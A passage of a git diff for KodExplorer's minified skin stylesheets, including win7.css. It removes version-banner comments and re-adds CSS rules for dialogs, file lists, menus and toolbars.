rgba(0,0,0,0.05);}body .task-tab .tabs .tab{border-radius:0px;box-shadow:0 0 1px #444;}body .task-tab .tabs .tab.this{box-shadow:0 0 6px #2196f3;border-color:#2196f3;}body .tasktab-dragging{box-shadow:0 0 6px #2196f3;border-color:#2196f3;}body div.tools .right .btn{background:#f3f3f3;border-radius:0;}body .edit-tab .tabs{border-bottom:1px solid #ddd;}body .edit-tab .tabs .tab{background:#f6f6f6;color:#666;}body .edit-tab .tabs .close{opacity:0.05;filter:alpha(opacity=5);text-shadow:none;color:#fff;}body .edit-tab .tabs .add{background:#ddd;border:1px solid #eee;color:#666;}body .edit-tab .tabs .tab.this,body .edit-tab .tabs .tab.this.hover{border-left:1px solid #63acff;margin-left:-1px;border-right-color:#63acff;}body .edit-tab .tabs .tab.this .close{opacity:0.4;filter:alpha(opacity=40);}body .edit-tab .tabs .tab.hover .close{opacity:0.7;filter:alpha(opacity=70);}body .edit-tab .tabs .edit-changed a.close{opacity:1;filter:alpha(opacity=100);}body .edit-tab .tabs .tab.this.edit-changed a.close{color:#fff;}body .edit-tab .draggable-dragging{background:#f6f6f6;border-left:3px solid #63acff;margin-left:-3px;} -/* ver 4.25(2017-12-04) [build 1512368389.7205] */ \ No newline at end of file +body{position:absolute;top:0px;left:0px;bottom:0px;right:0px;}body .x-folder{background-image:url("../../images/file_icon/icon_others/folder_win10.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_win10.png',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_win10.png',sizingMethod='scale');}body .x-folder.small{background-image:url("../../images/file_icon/icon_others/folder_win10_small.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_win10_small.png',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_win10_small.png',sizingMethod='scale');}body .btn,body .btn-group>.btn,body .btn-group-sm>.btn{border-radius:0px;background-image:none;}body .btn.btn-default,body .btn-group>.btn.btn-default,body .btn-group-sm>.btn.btn-default{border-color:#ddd;}body .btn.btn-default:focus,body .btn.btn-default:hover,body .btn-group>.btn.btn-default:focus,body .btn-group>.btn.btn-default:hover,body .btn-group-sm>.btn.btn-default:focus,body .btn-group-sm>.btn.btn-default:hover{background-color:#e4f8ff;border-color:#aedaff;}body .btn.btn-default:active,body .btn.btn-default.active,body .btn-group>.btn.btn-default:active,body .btn-group>.btn.btn-default.active,body .btn-group-sm>.btn.btn-default:active,body .btn-group-sm>.btn.btn-default.active{color:#365f80;background-color:#e4f8ff;border-color:#93cfff;}body .dropdown-menu{border-radius:0px;}body .dropdown-menu a:hover,body .dropdown-menu .this a{background:#eee;color:#444;}body .topbar{background:#fff;}body .topbar .content{border-bottom:1px solid #eee;}body .topbar .content .topbar-menu{border-color:#eee;color:#666;}body .topbar .content .share-title,body .topbar .content .share-info,body .topbar .content .share-info .time{color:#666;}body .topbar .content .top-right div.share-info-user{color:#666;}body .topbar .content .open .topbar-menu,body .topbar .content .topbar-menu:hover,body .topbar .content .topbar-menu.this,body .topbar .content .top-right ul a.this{background:#eee;border-color:#eee;color:#666;}body .aui-outer{box-shadow:0px 5px 10px rgba(0,0,0,0.2);border:1px solid #bbb;border-color:rgba(0,0,0,0.2);}body .aui-outer .aui-title{background:#fff;color:#666;border-bottom:1px solid #f1f1f1;border-bottom:none;}body .aui-outer .aui-buttons{border-top:solid 1px #eee;background:#f8f8f8;}body .aui-outer .aui-buttons button{padding:1px 1.5em;border:1px solid #ccc;color:#222;background:#eee;}body .aui-outer .aui-buttons button:hover{background:#fbfbfb;}body .aui-outer .aui-buttons button:active{background:#e1e1e1;}body .aui-outer .aui-buttons button.aui-state-highlight{border-color:#96c7ff;box-shadow:0 0 2px #96c7ff;}body .aui-outer .aui-buttons button.aui-state-highlight:hover{color:#111;}body .aui-outer .aui-buttons button.aui-state-highlight:active{color:#111;}body .aui-outer .aui-min{right:80px;background-image:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAoAAAAKCAYAAACNMs+9AAAAEUlEQVQYV2NgGGbgP5F40AMAIN0J96UZJscAAAAASUVORK5CYII=");}body .aui-outer .aui-max{right:40px;background-image:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAoAAAAKCAYAAACNMs+9AAAAGElEQVQYlWNgYGD4TySGEATAqELiFBLEAISgI91xKgmgAAAAAElFTkSuQmCC");}body .aui-outer .aui-close{right:0px;background-image:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAoAAAAKCAYAAACNMs+9AAAAOUlEQVQYlWNgYGD4D8TGDLiBMVQNgzErOwcuxRhy2BTjNABZAp8tCMWEFBGtkCirifIM0cFDVIADAOrvG43QTSHZAAAAAElFTkSuQmCC");}body .aui-outer .aui-min,body .aui-outer .aui-max,body .aui-outer .aui-close{color:#888;background-position:center center;background-color:transparent;background-repeat:no-repeat;height:31px;width:40px;line-height:31px;-webkit-transition:background 0.2s;-moz-transition:background 0.2s;-o-transition:background 0.2s;-ms-transition:background 0.2s;transition:background 0.2s;}body .aui-outer .aui-min:before,body .aui-outer .aui-max:before,body .aui-outer .aui-close:before{content:"";}body .aui-outer .aui-min:hover,body .aui-outer .aui-min:active,body .aui-outer .aui-max:hover,body .aui-outer .aui-max:active,body .aui-outer .aui-close:hover,body .aui-outer .aui-close:active{color:#333;background-color:#ddd;}body .aui-outer .aui-close:hover{background-color:#e81123;color:#fff;background-image:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAoAAAAKCAYAAACNMs+9AAAAOklEQVQYV2P4/+//+f/fv6cw4AAgOZAaCAMEsCjGkMOmGKcByBL4bEFVjE8R0QqJspoozxAdPMQGOABXELkNcbMs5wAAAABJRU5ErkJggg==");}body .aui-state-focus .aui-outer{box-shadow:0px 0px 20px rgba(0,140,255,0.46);border:1px solid #71b9f3;}body .dialog-copyright.dialog-simple .aui-close,body .share-dialog.dialog-simple .aui-close,body .check-version-dialog.dialog-simple .aui-close{opacity:0.6;background:rgba(0,0,0,0.4);}body .dialog-copyright.dialog-simple .aui-close:before,body .share-dialog.dialog-simple .aui-close:before,body .check-version-dialog.dialog-simple .aui-close:before{content:"\f00d";background-image:none;}body .dialog-copyright.dialog-simple .aui-close:hover,body .share-dialog.dialog-simple .aui-close:hover,body .check-version-dialog.dialog-simple .aui-close:hover{background-image:none;}body div.dialog-simple .aui-title{border-radius:0;}body div.dialog-simple .aui-min,body div.dialog-simple .aui-max,body div.dialog-simple .aui-close{background-color:rgba(255,255,255,0.8);border-radius:0;}body div.dialog-simple .aui-min:hover,body div.dialog-simple .aui-min:active,body div.dialog-simple .aui-max:hover,body div.dialog-simple .aui-max:active,body div.dialog-simple .aui-close:hover,body div.dialog-simple .aui-close:active{background-color:rgba(255,255,255,0.95);}body div.dialog-simple .aui-close{right:4px;}body div.dialog-simple .aui-close:hover,body div.dialog-simple .aui-close:active{background-color:#e81123;}body .do-search-box .search-desc{border-radius:0;background:#fefefe;border-bottom-color:#eee;}body .do-search-box .search-result{border-radius:0;}body .select-container{border:1px solid #195694;background-color:#62a2e4;}body .header-middle .btn-left-radius,body .header-middle .btn-right-radius,body .frame-header .header-content .header-right .btn-left-radius,body .frame-header .header-content .header-right .btn-right-radius{border-radius:0;}body .frame-main .frame-left{background:#fff;border-right:1px solid #eee;}body .frame-main .frame-left .ztree li a{margin:0 2px;border-color:transparent;}body .frame-main .frame-left .ztree li a:hover{-webkit-transition:transform 0.2s;-moz-transition:transform 0.2s;-o-transition:transform 0.2s;-ms-transition:transform 0.2s;transition:transform 0.2s;background:#e5f3ff;border-color:transparent;border-radius:0px;border-radius:0;filter:none;color:#335;}body .frame-main .frame-left .ztree li a.curSelectedNode,body .frame-main .frame-left .ztree li a.curSelectedNode:hover,body .frame-main .frame-left .ztree li a.curDropTreeNode{-webkit-transition:transform 0.2s;-moz-transition:transform 0.2s;-o-transition:transform 0.2s;-ms-transition:transform 0.2s;transition:transform 0.2s;background:#cce8ff;border-color:#99d1ff;border-radius:0px;filter:none;color:#335;}body .frame-main .frame-left .ztree li a.curSelectedNode .button.switch:after,body .frame-main .frame-left .ztree li a.curSelectedNode:hover .button.switch:after,body .frame-main .frame-left .ztree li a.curDropTreeNode .button.switch:after{color:inherit !important;}body .frame-main .frame-left .ztree li a span.button.switch:after{content:"\f105";font-size:16px;}body .frame-main .frame-left .ztree li a span.button.switch.noline_open:after,body .frame-main .frame-left .ztree li a span.button.switch.noline_open_hover:after{content:"\f107";font-weight:800;color:#76bdf7;}body .frame-main .frame-left .ztree li a span.button.switch.noline_docu:after{content:"";opacity:0;filter:alpha(opacity=0);}body .file-select{-webkit-transition:transform 0.2s;-moz-transition:transform 0.2s;-o-transition:transform 0.2s;-ms-transition:transform 0.2s;transition:transform 0.2s;background:#cce8ff;border-color:#99d1ff;border-radius:0px;filter:none;color:#335;}body .file-hover{-webkit-transition:transform 0.2s;-moz-transition:transform 0.2s;-o-transition:transform 0.2s;-ms-transition:transform 0.2s;transition:transform 0.2s;background:#e5f3ff;border-color:transparent;border-radius:0px;border-radius:0;filter:none;color:#335;}body div.file-continer.file-list-split .file.file2{background:none;}body div.file-continer.file-list-split .file.select-split-parent{background:#e3f0ff;}body div.file-continer.file-list-split .file.hover{-webkit-transition:transform 0.2s;-moz-transition:transform 0.2s;-o-transition:transform 0.2s;-ms-transition:transform 0.2s;transition:transform 0.2s;background:#e5f3ff;border-color:transparent;border-radius:0px;border-radius:0;filter:none;color:#335;}body div.file-continer .file{-webkit-transition:transform 0.2s;-moz-transition:transform 0.2s;-o-transition:transform 0.2s;-ms-transition:transform 0.2s;transition:transform 0.2s;}body div.file-continer .file.file2{background:#fffbf1;}body div.file-continer .file.select,body div.file-continer .file.file-select-drag-temp{-webkit-transition:transform 0.2s;-moz-transition:transform 0.2s;-o-transition:transform 0.2s;-ms-transition:transform 0.2s;transition:transform 0.2s;background:#cce8ff;border-color:#99d1ff;border-radius:0px;filter:none;color:#335;}body div.file-continer .file.hover{-webkit-transition:transform 0.2s;-moz-transition:transform 0.2s;-o-transition:transform 0.2s;-ms-transition:transform 0.2s;transition:transform 0.2s;background:#e5f3ff;border-color:transparent;border-radius:0px;border-radius:0;filter:none;color:#335;}body div.file-continer .file.hover.select,body div.file-continer .file.hover.file-select-drag-temp{-webkit-transition:transform 0.2s;-moz-transition:transform 0.2s;-o-transition:transform 0.2s;-ms-transition:transform 0.2s;transition:transform 0.2s;background:#cce8ff;border-color:#99d1ff;border-radius:0px;filter:none;color:#335;}body div.file-continer .file.select.file2,body div.file-continer .file.file-select-drag-temp.file2{-webkit-transition:transform 0.2s;-moz-transition:transform 0.2s;-o-transition:transform 0.2s;-ms-transition:transform 0.2s;transition:transform 0.2s;background:#cce8ff;border-color:#99d1ff;border-radius:0px;filter:none;color:#335;}body div.file-continer.file-list-split .file,body div.file-continer.file-list-list .file{margin-bottom:1px;}body #main-title .filename:hover,body #main-title .filesize:hover,body #main-title .filetype:hover,body #main-title .filetime:hover,body #main-title .this{background:#e5f3ff;}body .context-menu-list{box-shadow:4px 5px 10px rgba(0,0,0,0.2);border-radius:0;border:1px solid rgba(0,0,0,0.1);background-clip:padding-box;}body .context-menu-list .context-menu-item{line-height:25px;height:25px;}body .context-menu-list .context-menu-item.hover,body .context-menu-list .context-menu-item.selected.hover{background:#e1e1e1;color:#444;}body .context-menu-list .context-menu-item.hover .font-icon,body .context-menu-list .context-menu-item.selected.hover .font-icon{color:#888;}body .context-menu-list .context-menu-item.hover > .context-menu-list .hover .font-icon{color:#888;}body .context-menu-list .hover > span > b{color:#888;}body #body .menu-left,body #body .app-menu-left{background:#fff;border-right:1px solid #f1f1f1;}body #body .menu-left h1,body #body .app-menu-left h1{font-weight:400;}body #body .menu-left .setting a:hover,body #body .app-menu-left .setting a:hover{background:#e6e6e6;}body #body .menu-left .setting a.selected,body #body .app-menu-left .setting a.selected{background:#e1e1e1;border-color:#ccc;}body #body .main .list{border-radius:0;}body #body .panel{margin-left:-1px;}body .frame-main .frame-right .frame-right-main .tools{border-color:#eee;}body .frame-main .frame-right .frame-right-main .tools .btn.toolbar-path-more{border-radius:0;}body .task-tab{background:rgba(0,0,0,0.05);border-top:1px solid rgba(0,0,0,0.05);}body .task-tab .tabs .tab{border-radius:0px;box-shadow:0 0 1px #444;}body .task-tab .tabs .tab.this{box-shadow:0 0 6px #2196f3;border-color:#2196f3;}body .tasktab-dragging{box-shadow:0 0 6px #2196f3;border-color:#2196f3;}body div.tools .right .btn{background:#f3f3f3;border-radius:0;}body .edit-tab .tabs{border-bottom:1px solid #ddd;}body .edit-tab .tabs .tab{background:#f6f6f6;color:#666;}body .edit-tab .tabs .close{opacity:0.05;filter:alpha(opacity=5);text-shadow:none;color:#fff;}body .edit-tab .tabs .add{background:#ddd;border:1px solid #eee;color:#666;}body .edit-tab .tabs .tab.this,body .edit-tab .tabs .tab.this.hover{border-left:1px solid #63acff;margin-left:-1px;border-right-color:#63acff;}body .edit-tab .tabs .tab.this .close{opacity:0.4;filter:alpha(opacity=40);}body .edit-tab .tabs .tab.hover .close{opacity:0.7;filter:alpha(opacity=70);}body .edit-tab .tabs .edit-changed a.close{opacity:1;filter:alpha(opacity=100);}body .edit-tab .tabs .tab.this.edit-changed a.close{color:#fff;}body .edit-tab .draggable-dragging{background:#f6f6f6;border-left:3px solid #63acff;margin-left:-3px;} \ No newline at end of file diff --git a/static/style/skin/win7.css b/static/style/skin/win7.css index c51e406..621ccde 100755 --- a/static/style/skin/win7.css +++ b/static/style/skin/win7.css @@ -1,3 +1 @@ -/* power by kodexplorer ver 4.25(2017-12-04) [build 1512368389.6711] */ -body{position:absolute;top:0px;left:0px;bottom:0px;right:0px;}body .topbar{background:url("./../../images/common/login.png") repeat-x 0px -44px;box-shadow:0 0 10px rgba(0,0,0,0.2);}body .topbar .content .topbar-menu{border-color:#4499dd;border-color:rgba(255,255,255,0.1);}body .topbar .content .open .topbar-menu,body .topbar .content .topbar-menu:hover,body .topbar .content .topbar-menu.this{background:#49d;background:rgba(255,255,255,0.4);border-color:rgba(255,255,255,0.1);}body .aui-border{background:url("./../../images/common/dialog/dialog.png") -200px 350px;}body .aui-state-focus .aui-title,body .aui-title{background:none;color:#444;text-shadow:0px 0px 0px #000, 0px 0px 1px #aaa, 0px 0px 4px #fff, 0px 0px 8px #fff;}body .aui-outer,body .aui-state-focus .aui-outer{border-radius:5px;text-align:left;background:url("./../../images/common/dialog/dialog.png") -100px 100px;border:1px solid #bbb;border-color:rgba(255,255,255,0.7);position:relative;box-shadow:0 0 8px rgba(0,0,0,0.5), 0 0 1px rgba(0,0,0,0.9);-webkit-transition:box-shadow 0.1s;-moz-transition:box-shadow 0.1s;-o-transition:box-shadow 0.1s;-ms-transition:box-shadow 0.1s;transition:box-shadow 0.1s;}body .aui-state-lock .aui-outer,body .aui-state-lock .aui-state-focus .aui-outer{border:1px solid #bbb;border-color:rgba(0,0,0,0.1);}body .aui-inner{border:1px solid #ddd;background:#fff;border-color:rgba(0,0,0,0.3);}body .aui-dialog{border-radius:2px;}body .aui-border{border-radius:4px;}body .aui-nw,body .aui-ne{width:4px;height:32px;}body .aui-sw,body .aui-se{width:4px;height:4px;}body .aui-nw,body .aui-n,body .aui-ne,body .aui-w,body .aui-e,body .aui-sw,body .aui-s,body .aui-se{background:#999 \9 !important;background:#fff;opacity:0.15;filter:alpha(opacity=15);}body .aui-title-bar{width:100%;height:0;position:relative;bottom:33px;_bottom:0;_margin-top:-33px;}body .aui-min,body .aui-min:hover,body .aui-min:active{right:81px;width:27px;background:url("./../../images/common/dialog/btn-min.png") no-repeat;}body .aui-max,body .aui-max:hover,body .aui-max:active{right:54px;width:27px;background:url("./../../images/common/dialog/btn-max.png") no-repeat;}body .aui-close,body .aui-close:hover,body .aui-close:active{right:5px;width:49px;background:url("./../../images/common/dialog/btn-close.png") no-repeat;}body .aui-max,body .aui-min,body .aui-close{position:absolute;text-decoration:none;-webkit-transition:none;-moz-transition:none;-o-transition:none;-ms-transition:none;transition:none;color:transparent;font-size:0px;cursor:pointer;z-index:10;top:-1px;height:19px;background-position:0 -19px;background-color:none;}body .aui-max:hover,body .aui-min:hover,body .aui-close:hover{background-position:0 -38px;}body .aui-max:active,body .aui-min:active,body .aui-close:active{background-position:0 0px;}body div.dialog-simple .aui-nw,body div.dialog-simple .aui-n,body div.dialog-simple .aui-ne,body div.dialog-simple .aui-w,body div.dialog-simple .aui-e,body div.dialog-simple .aui-sw,body div.dialog-simple .aui-s,body div.dialog-simple .aui-se{display:none;}body div.dialog-simple .aui-max,body div.dialog-simple .aui-min,body div.dialog-simple .aui-close{background-image:none;}body .dialog-max .aui-nw,body .dialog-max .aui-ne,body .dialog-max .aui-sw,body .dialog-max .aui-se,body .dialog-max .aui-w,body .dialog-max .aui-e{width:0px;}body .dialog-max .aui-sw,body .dialog-max .aui-n,body .dialog-max .aui-se{height:0px;}body .dialog-max .aui-outer{border:none;}body .dialog-max .aui-max{background:url("./../../images/common/dialog/btn-reg.png") 0 -19px;}body .dialog-max .aui-max:hover{background-position:0 -38px;}body .dialog-max .aui-max:active{background-position:0 0px;}body .aui-buttons{padding:8px;border-top:1px solid #eee;border-radius:0px 0px 3px 3px;}body .aui-buttons button{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#dddddd');background-image:-webkit-linear-gradient(top,#fff,#ddd);background-image:-moz-linear-gradient(top,#fff,#ddd);background-image:-o-linear-gradient(top,#fff,#ddd);background-image:-ms-linear-gradient(top,#fff,#ddd);background-image:linear-gradient(top,#fff,#ddd);-pie-background:linear-gradient(to top,#fff,#ddd);margin-left:15px;padding:6px 10px;border-radius:2px;height:auto;color:#333;border:solid 1px #999;text-shadow:0px 1px 1px #ffffff;box-shadow:0 1px 0 rgba(255,255,255,0.7), 0 -1px 0 rgba(0,0,0,0.09);-webkit-transition:box-shadow linear .2s;-moz-transition:box-shadow linear .2s;-o-transition:box-shadow linear .2s;-ms-transition:box-shadow linear .2s;transition:box-shadow linear .2s;}body .aui-buttons button:focus{outline:none 0;border-color:#426DC9;box-shadow:0 0 8px rgba(66,109,201,0.9);}body .aui-buttons button:hover{color:#000;border-color:#666;border-color:#426DC9;}body .aui-buttons button:active{border-color:#666;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#dddddd', endColorstr='#ffffff');background-image:-webkit-linear-gradient(top,#ddd,#fff);background-image:-moz-linear-gradient(top,#ddd,#fff);background-image:-o-linear-gradient(top,#ddd,#fff);background-image:-ms-linear-gradient(top,#ddd,#fff);background-image:linear-gradient(top,#ddd,#fff);-pie-background:linear-gradient(to top,#ddd,#fff);}body .aui-buttons button[disabled]{cursor:default;color:#666;background:#DDD;border:solid 1px #999;opacity:0.5;filter:alpha(opacity=50);box-shadow:none;}body .aui-buttons button::-moz-focus-inner{border:0;padding:0;margin:0;}body .aui-buttons button.aui-state-highlight{color:#FFF;border:solid 1px #1c6a9e;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#33bbee', endColorstr='#2288cc');background-image:-webkit-linear-gradient(top,#33bbee,#2288cc);background-image:-moz-linear-gradient(top,#33bbee,#2288cc);background-image:-o-linear-gradient(top,#33bbee,#2288cc);background-image:-ms-linear-gradient(top,#33bbee,#2288cc);background-image:linear-gradient(top,#33bbee,#2288cc);-pie-background:linear-gradient(to top,#33bbee,#2288cc);text-shadow:-1px -1px 1px #1c6a9e;}body .aui-buttons button.aui-state-highlight:hover{color:#FFF;border-color:#0F3A56;background:#2288cc;}body .aui-buttons button.aui-state-highlight:active{border-color:#1c6a9e;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#33bbee', endColorstr='#2288cc');background-image:-webkit-linear-gradient(top,#33bbee,#2288cc);background-image:-moz-linear-gradient(top,#33bbee,#2288cc);background-image:-o-linear-gradient(top,#33bbee,#2288cc);background-image:-ms-linear-gradient(top,#33bbee,#2288cc);background-image:linear-gradient(top,#33bbee,#2288cc);-pie-background:linear-gradient(to top,#33bbee,#2288cc);}body .check-version-dialog.dialog-simple .aui-title-bar{margin-top:-155px;}body .do-search-box .search-result{margin:15px;}body .dialog-no-title.aui-state-focus .aui-outer,body .dialog-no-title .aui-outer,body .dialog-no-title .aui-inner{border:none;}body .select-container{border:1px solid #004c99;background-color:#39f;}body .frame-main .bottom-box{border-color:#e6e6e6;}body .frame-main .frame-left{background:#fff;border-color:#e6e6e6;}body .frame-main .frame-left .ztree li a{border:1px solid #fafafa;border-color:transparent;margin:0px 4px 0 4px;-webkit-transition:none;-moz-transition:none;-o-transition:none;-ms-transition:none;transition:none;color:#333;padding:0px;padding-left:9px;vertical-align:top;}body .frame-main .frame-left .ztree li a:hover{border:1px solid #b3d9ff;color:#444;border-radius:3px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#e6eeff');background-image:-webkit-linear-gradient(top,#fff,#e6eeff);background-image:-moz-linear-gradient(top,#fff,#e6eeff);background-image:-o-linear-gradient(top,#fff,#e6eeff);background-image:-ms-linear-gradient(top,#fff,#e6eeff);background-image:linear-gradient(top,#fff,#e6eeff);-pie-background:linear-gradient(to top,#fff,#e6eeff);}body .frame-main .frame-left .ztree li a.curSelectedNode,body .frame-main .frame-left .ztree li a.curSelectedNode:hover,body .frame-main .frame-left .ztree li a.curDropTreeNode{background:#cdf;color:#444;border:1px solid #39f;border-radius:3px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f5f8ff', endColorstr='#ccddff');background-image:-webkit-linear-gradient(top,#f5f8ff,#cdf);background-image:-moz-linear-gradient(top,#f5f8ff,#cdf);background-image:-o-linear-gradient(top,#f5f8ff,#cdf);background-image:-ms-linear-gradient(top,#f5f8ff,#cdf);background-image:linear-gradient(top,#f5f8ff,#cdf);-pie-background:linear-gradient(to top,#f5f8ff,#cdf);box-shadow:0 0 1px #3377ff;}body .frame-main .frame-left .ztree li a.curSelectedNode .noline_open:after,body .frame-main .frame-left .ztree li a.curSelectedNode .noline_open_hover:after,body .frame-main .frame-left .ztree li a.curSelectedNode .noline_close:after,body .frame-main .frame-left .ztree li a.curDropTreeNode .noline_open:after,body .frame-main .frame-left .ztree li a.curDropTreeNode .noline_open_hover:after,body .frame-main .frame-left .ztree li a.curDropTreeNode .noline_close:after{color:#39f !important;}body .frame-main .frame-left .ztree li a.curDropTreeNode{box-shadow:0 0 0 1px #1aa1ff inset !important;}body .file-select{background:#cdf;color:#444;border:1px solid #39f;border-radius:3px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f5f8ff', endColorstr='#ccddff');background-image:-webkit-linear-gradient(top,#f5f8ff,#cdf);background-image:-moz-linear-gradient(top,#f5f8ff,#cdf);background-image:-o-linear-gradient(top,#f5f8ff,#cdf);background-image:-ms-linear-gradient(top,#f5f8ff,#cdf);background-image:linear-gradient(top,#f5f8ff,#cdf);-pie-background:linear-gradient(to top,#f5f8ff,#cdf);}body .file-hover{border:1px solid #b3d9ff;color:#444;border-radius:3px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#e6eeff');background-image:-webkit-linear-gradient(top,#fff,#e6eeff);background-image:-moz-linear-gradient(top,#fff,#e6eeff);background-image:-o-linear-gradient(top,#fff,#e6eeff);background-image:-ms-linear-gradient(top,#fff,#e6eeff);background-image:linear-gradient(top,#fff,#e6eeff);-pie-background:linear-gradient(to top,#fff,#e6eeff);}body div.file-continer .file{-webkit-transition:transform 0.2s;-moz-transition:transform 0.2s;-o-transition:transform 0.2s;-ms-transition:transform 0.2s;transition:transform 0.2s;}body div.file-continer .file.select,body div.file-continer .file.file-select-drag-temp{background:#cdf;color:#444;border:1px solid #39f;border-radius:3px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f5f8ff', endColorstr='#ccddff');background-image:-webkit-linear-gradient(top,#f5f8ff,#cdf);background-image:-moz-linear-gradient(top,#f5f8ff,#cdf);background-image:-o-linear-gradient(top,#f5f8ff,#cdf);background-image:-ms-linear-gradient(top,#f5f8ff,#cdf);background-image:linear-gradient(top,#f5f8ff,#cdf);-pie-background:linear-gradient(to top,#f5f8ff,#cdf);}body div.file-continer .file.hover{border:1px solid #b3d9ff;color:#444;border-radius:3px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#e6eeff');background-image:-webkit-linear-gradient(top,#fff,#e6eeff);background-image:-moz-linear-gradient(top,#fff,#e6eeff);background-image:-o-linear-gradient(top,#fff,#e6eeff);background-image:-ms-linear-gradient(top,#fff,#e6eeff);background-image:linear-gradient(top,#fff,#e6eeff);-pie-background:linear-gradient(to top,#fff,#e6eeff);}body div.file-continer .file.hover.select,body div.file-continer .file.hover.file-select-drag-temp{background:#cdf;color:#444;border:1px solid #39f;border-radius:3px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f5f8ff', endColorstr='#ccddff');background-image:-webkit-linear-gradient(top,#f5f8ff,#cdf);background-image:-moz-linear-gradient(top,#f5f8ff,#cdf);background-image:-o-linear-gradient(top,#f5f8ff,#cdf);background-image:-ms-linear-gradient(top,#f5f8ff,#cdf);background-image:linear-gradient(top,#f5f8ff,#cdf);-pie-background:linear-gradient(to top,#f5f8ff,#cdf);}body .file-continer .file .item-menu,body .ztree li a .menu-item{border-radius:2px;}body .dropdown-menu,body .topbar .content .top-right ul{-webkit-box-shadow:2px 3px 2px rgba(0,0,0,0.2);-moz-box-shadow:2px 3px 2px rgba(0,0,0,0.2);box-shadow:2px 3px 2px rgba(0,0,0,0.2);border:1px solid #ccc;border-radius:0;padding:3px;background:#f8f8f8;}body .dropdown-menu .this a,body .dropdown-menu a.this,body .topbar .content .top-right ul .this a,body .topbar .content .top-right ul a.this{background:#cdf;color:#444;border:1px solid #39f;border-radius:3px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f5f8ff', endColorstr='#ccddff');background-image:-webkit-linear-gradient(top,#f5f8ff,#cdf);background-image:-moz-linear-gradient(top,#f5f8ff,#cdf);background-image:-o-linear-gradient(top,#f5f8ff,#cdf);background-image:-ms-linear-gradient(top,#f5f8ff,#cdf);background-image:linear-gradient(top,#f5f8ff,#cdf);-pie-background:linear-gradient(to top,#f5f8ff,#cdf);}body .dropdown-menu li > a,body .topbar .content .top-right ul li > a{-webkit-transition:transform 0.2s;-moz-transition:transform 0.2s;-o-transition:transform 0.2s;-ms-transition:transform 0.2s;transition:transform 0.2s;margin:0 2px;border:1px solid transparent;}body .dropdown-menu li > a:hover,body .dropdown-menu li > a:focus,body .topbar .content .top-right ul li > a:hover,body .topbar .content .top-right ul li > a:focus{border:1px solid #b3d9ff;color:#444;border-radius:3px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#e6eeff');background-image:-webkit-linear-gradient(top,#fff,#e6eeff);background-image:-moz-linear-gradient(top,#fff,#e6eeff);background-image:-o-linear-gradient(top,#fff,#e6eeff);background-image:-ms-linear-gradient(top,#fff,#e6eeff);background-image:linear-gradient(top,#fff,#e6eeff);-pie-background:linear-gradient(to top,#fff,#e6eeff);}body .frame-main .frame-right frame-right-main .drop-menu-action a{padding:3px 30px;}body .context-menu-list{-webkit-box-shadow:2px 3px 2px rgba(0,0,0,0.3);-moz-box-shadow:2px 3px 2px rgba(0,0,0,0.3);box-shadow:2px 3px 2px rgba(0,0,0,0.3);border:1px solid #aaa;border-radius:0;padding:3px;background:#f1f1f1 url("./../../images/common/line.png") 28px 0 repeat-y;}body .context-menu-list .context-menu-item{padding:0px 15px 0 5px;border:1px solid #f8f8f8;border-color:transparent;-webkit-transition:none;-moz-transition:none;-o-transition:none;-ms-transition:none;transition:none;color:#333;}body .context-menu-list .context-menu-item .font-icon{width:17px;margin-left:-2px;}body .context-menu-list .context-menu-item.context-menu-separator{height:2px;background:url("./../../images/common/line_x.png") 27px no-repeat;margin:2px 0 2px;border-bottom:none;}body .context-menu-list .context-menu-item > .context-menu-list{display:none;right:-5px;top:5px;}body .context-menu-list .context-menu-item.hover > .context-menu-list .hover .font-icon{color:#444;}body .context-menu-list .context-menu-item.hover,body .context-menu-list .context-menu-item.selected.hover{border:1px solid #b3d9ff;color:#444;border-radius:3px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#e6eeff');background-image:-webkit-linear-gradient(top,#fff,#e6eeff);background-image:-moz-linear-gradient(top,#fff,#e6eeff);background-image:-o-linear-gradient(top,#fff,#e6eeff);background-image:-ms-linear-gradient(top,#fff,#e6eeff);background-image:linear-gradient(top,#fff,#e6eeff);-pie-background:linear-gradient(to top,#fff,#e6eeff);color:#666;border-color:rgba(51,153,255,0.7);}body .context-menu-list .context-menu-item.hover .font-icon,body .context-menu-list .context-menu-item.selected.hover .font-icon{color:#666;}body .context-menu-list .context-menu-item.hover span > b,body .context-menu-list .context-menu-item.selected.hover span > b{color:#aaa;}body .context-menu-list .context-menu-item .selected,body .context-menu-list .context-menu-item .selected.hover{border-left:1px solid #b3d9ff;} -/* ver 4.25(2017-12-04) [build 1512368389.6711] */ \ No newline at end of file +body{position:absolute;top:0px;left:0px;bottom:0px;right:0px;}body .topbar{background:url("./../../images/common/login.png") repeat-x 0px -44px;box-shadow:0 0 10px rgba(0,0,0,0.2);}body .topbar .content .topbar-menu{border-color:#4499dd;border-color:rgba(255,255,255,0.1);}body .topbar .content .open .topbar-menu,body .topbar .content .topbar-menu:hover,body .topbar .content 